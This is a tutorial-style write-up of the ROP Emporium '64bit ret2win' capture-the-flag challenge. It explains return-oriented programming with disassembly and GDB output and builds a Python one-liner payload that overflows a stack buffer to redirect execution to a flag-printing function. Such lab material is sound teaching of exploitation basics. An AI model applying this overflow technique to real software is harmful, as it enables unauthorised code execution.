What are ROP chains?.
To understand what a ROP chain is you frist need to know what ROP means.
ROP stands for Return oriented programming.
When a program calls a function it wil push the address from where it was called on the stack. When the functions is finished it pops the address and returns there.
A ROP Chain is a chain consisting of values and return addresses that a attacker might use to manipulate a program to do what he wants it to do.
Time to get our hands dirty
Writing about gadgets and ROP chains without an example to show is kinda boring. lets walk trough the “64bit ret2win” challenge you can find at . https://ropemporium.com/
In this challenge the objective is quite simple, there is a function we need to call ‘ret2win’ and it will print us a flag.
Disassemble time.
lets open the binary in hopper to see what we are dealing with.
; ================ B E G I N N I N G O F P R O C E D U R E ================ main: 0000000000400746 55 push rbp ; Begin of unwind block (FDE at 0x400acc), DATA XREF=_start+29 0000000000400747 4889E5 mov rbp, rsp 000000000040074a 488B050F092000 mov rax, qword [__TMC_END__] ; __TMC_END__ 0000000000400751 B900000000 mov ecx, 0x0 ; argument "__n" for method j_setvbuf 0000000000400756 BA02000000 mov edx, 0x2 ; argument "__modes" for method j_setvbuf 000000000040075b BE00000000 mov esi, 0x0 ; argument "__buf" for method j_setvbuf 0000000000400760 4889C7 mov rdi, rax ; argument "__stream" for method j_setvbuf 0000000000400763 E8C8FEFFFF call j_setvbuf ; setvbuf 0000000000400768 488B0511092000 mov rax, qword [stderr@@GLIBC_2.2.5] ; stderr@@GLIBC_2.2.5 000000000040076f B900000000 mov ecx, 0x0 ; argument "__n" for method j_setvbuf 0000000000400774 BA02000000 mov edx, 0x2 ; argument "__modes" for method j_setvbuf 0000000000400779 BE00000000 mov esi, 0x0 ; argument "__buf" for method j_setvbuf 000000000040077e 4889C7 mov rdi, rax ; argument "__stream" for method j_setvbuf 0000000000400781 E8AAFEFFFF call j_setvbuf ; setvbuf 0000000000400786 BFC8084000 mov edi, aRet2winByRopEm ; argument "__s" for method j_puts, "ret2win by ROP Emporium" 000000000040078b E840FEFFFF call j_puts ; puts 0000000000400790 BFE0084000 mov edi, a64bitsn ; argument "__s" for method j_puts, "64bits\\n" 0000000000400795 E836FEFFFF call j_puts ; puts 000000000040079a B800000000 mov eax, 0x0 000000000040079f E811000000 call pwnme ; pwnme 00000000004007a4 BFE8084000 mov edi, aNexiting ; argument "__s" for method j_puts, "\\nExiting" 00000000004007a9 E822FEFFFF call j_puts ; puts 00000000004007ae B800000000 mov eax, 0x0 00000000004007b3 5D pop rbp 00000000004007b4 C3 ret ; endp ; ================ B E G I N N I N G O F P R O C E D U R E ================ ; Variables: ; var_20: int8_t, -32 pwnme: 00000000004007b5 55 push rbp ; End of unwind block (FDE at 0x400acc), Begin of unwind block (FDE at 0x400aec), CODE XREF=main+89 00000000004007b6 4889E5 mov rbp, rsp 00000000004007b9 4883EC20 sub rsp, 0x20 00000000004007bd 488D45E0 lea rax, qword [rbp+var_20] 00000000004007c1 BA20000000 mov edx, 0x20 ; argument "__n" for method j_memset 00000000004007c6 BE00000000 mov esi, 0x0 ; argument "__c" for method j_memset 00000000004007cb 4889C7 mov rdi, rax ; argument "__s" for method j_memset 00000000004007ce E82DFEFFFF call j_memset ; memset 00000000004007d3 BFF8084000 mov edi, aForMyFirstTric ; argument "__s" for method j_puts, "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\\nWhat could possibly go wrong?" 00000000004007d8 E8F3FDFFFF call j_puts ; puts 00000000004007dd BF78094000 mov edi, aYouThereMadamM ; argument "__s" for method j_puts, "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\\n" 00000000004007e2 E8E9FDFFFF call j_puts ; puts 00000000004007e7 BFDD094000 mov edi, 0x4009dd ; argument "__format" for method j_printf 00000000004007ec B800000000 mov eax, 0x0 00000000004007f1 E8FAFDFFFF call j_printf ; printf 00000000004007f6 488B1573082000 mov rdx, qword [stdin@@GLIBC_2.2.5] ; argument "__stream" for method j_fgets, stdin@@GLIBC_2.2.5 00000000004007fd 488D45E0 lea rax, qword [rbp+var_20] 0000000000400801 BE32000000 mov esi, 0x32 ; argument "__n" for method j_fgets 0000000000400806 4889C7 mov rdi, rax ; argument "__s" for method j_fgets 0000000000400809 E812FEFFFF call j_fgets ; fgets 000000000040080e 90 nop 000000000040080f C9 leave 0000000000400810 C3 ret ; endp ; ================ B E G I N N I N G O F P R O C E D U R E ================ ret2win: 0000000000400811 55 push rbp ; End of unwind block (FDE at 0x400aec), Begin of unwind block (FDE at 0x400b0c) 0000000000400812 4889E5 mov rbp, rsp 0000000000400815 BFE0094000 mov edi, aThankYouHeresY ; argument "__format" for method j_printf, "Thank you! Here's your flag:" 000000000040081a B800000000 mov eax, 0x0 000000000040081f E8CCFDFFFF call j_printf ; printf 0000000000400824 BFFD094000 mov edi, aBincatFlagtxt ; argument "__command" for method j_system, "/bin/cat flag.txt" 0000000000400829 E8B2FDFFFF call j_system ; system 000000000040082e 90 nop 000000000040082f 5D pop rbp 0000000000400830 C3 ret ; endp 0000000000400831 align 64 ; End of unwind block (FDE at 0x400b0c)
In the pwnme function there is a 0x20 byte stack buffer set by memset.
and 0x32 bytes written to it by fgets.
Lets run it in gdb and feed it some bytes and see what happens.
─── Output/messages ───────────────────────────────────────────────────────── ret2win by ROP Emporium 64bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC Program received signal SIGSEGV, Segmentation fault. ─── Assembly ──────────────────────────────────────────────────────────────── 0x0000000000400809 pwnme+84 call 0x400620 <fgets@plt> 0x000000000040080e pwnme+89 nop 0x000000000040080f pwnme+90 leave 0x0000000000400810 pwnme+91 ret ─── Expressions ───────────────────────────────────────────────────────────── ─── History ───────────────────────────────────────────────────────────────── ─── Memory ────────────────────────────────────────────────────────────────── ─── Registers ─────────────────────────────────────────────────────────────── rax 0x00007fffffffde90 rbx 0x0000000000000000 rcx 0x00000000fbad2288 rdx 0x00007fffffffde90 rsi 0x00007ffff7f9d8d0 rdi 0x00007fffffffde91 rbp 0x4242424242424242 rsp 0x00007fffffffdeb8 r8 0x0000000000602291 r9 0x00007ffff7f9d8c0 r10 0x00007ffff7fa2500 r11 0x0000000000000246 r12 0x0000000000400650 r13 0x00007fffffffdfa0 r14 0x0000000000000000 r15 0x0000000000000000 rip 0x0000000000400810 eflags [ PF ZF IF RF ] cs 0x00000033 ss 0x0000002b ds 0x00000000 es 0x00000000 fs 0x00000000 gs 0x00000000 ─── Source ────────────────────────────────────────────────────────────────── ─── Stack ─────────────────────────────────────────────────────────────────── [0] from 0x0000000000400810 in pwnme+91 (no arguments) [1] from 0x4343434343434343 (no arguments) [+] ─── Threads ───────────────────────────────────────────────────────────────── [1] id 18823 name ret2win from 0x0000000000400810 in pwnme+91 ───────────────────────────────────────────────────────────────────────────── 0x0000000000400810 in pwnme () >>>
i send the string ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC’
as user input. and the program stopped with a segfault.
The B’s are in the rbp register.
and the C’s are on the stack
lets set a breakpoint at 0x400810 and have a look at the registers and the stack in when we don’t overflow the stack buffer.
rax 0x00007fffffffde90 rbx 0x0000000000000000 rcx 0x00000000fbad2288
rdx 0x00007fffffffde90 rsi 0x00007ffff7f9d8d0 rdi 0x00007fffffffde91
rbp 0x00007fffffffdec0 rsp 0x00007fffffffdeb8 r8 0x000000000060226b
r9 0x00007ffff7f9d8c0 r10 0x00007ffff7fa2500 r11 0x0000000000000246
r12 0x0000000000400650 r13 0x00007fffffffdfa0 r14 0x0000000000000000
r15 0x0000000000000000 rip 0x0000000000400810 eflags [ PF ZF IF ]
cs 0x00000033 ss 0x0000002b ds 0x00000000
es 0x00000000 fs 0x00000000 gs 0x00000000
─── Source ──────────────────────────────────────────────────────────────────
─── Stack ───────────────────────────────────────────────────────────────────
[0] from 0x0000000000400810 in pwnme+91
(no arguments)
[1] from 0x00000000004007a4 in main+94
(no arguments)
As you can see the value on the stack is the address right after were the function ‘pwnme’ is called from.
If we would now replace the C’s in ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC’ with a valid executable address the program will return there instead of producing a segfault.
making a payload
Lets construct a little payload.
The buffer I need to fill is 40 bytes (32 + 8 bytes that will end up in rpb)
and the address I want to return to is 0x400811
The address needs to be written down in een Little endian format and padded with 0x00 to the length of 8 bytes.
python -c "print 'A'*40+'\x11\x08\x40\x00\x00\x00\x00\x00'"
I could just pipe python’s output to ret2win’s input in a shell. but then I wouldn’t be able to see what’s happening.
So instead I do this from within GDB.
r <<< $(python -c "print 'A'*40+'\x11\x08\x40\x00\x00\x00\x00\x00'")
It stops at the breakpoint I’ve had set before and I can see the address is were I want it to be.
─── Stack ───────────────────────────────────────────────────────────────────
[0] from 0x0000000000400810 in pwnme+91
(no arguments)
[1] from 0x000000000a400811
(no arguments)
Now I continue the execution of the program.
Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Program received signal SIGSEGV, Segmentation fault.
I get an other segfault because the ‘ret2win’ function can’t return. But I don’t care about that, because I already have what I want.
so what about the ‘chain’?
This Challenge wasn’t really solved with a ROPchain since there was no chain.
But i explained the basics of ROP, I guess I’ll need to write a part2